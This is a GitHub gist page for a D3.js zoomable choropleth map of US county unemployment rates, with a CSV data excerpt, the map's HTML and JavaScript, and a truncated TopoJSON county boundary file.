12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/f41c371da87a76c88b768c67e382e3ad">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
    right: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.1&apos;)
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;a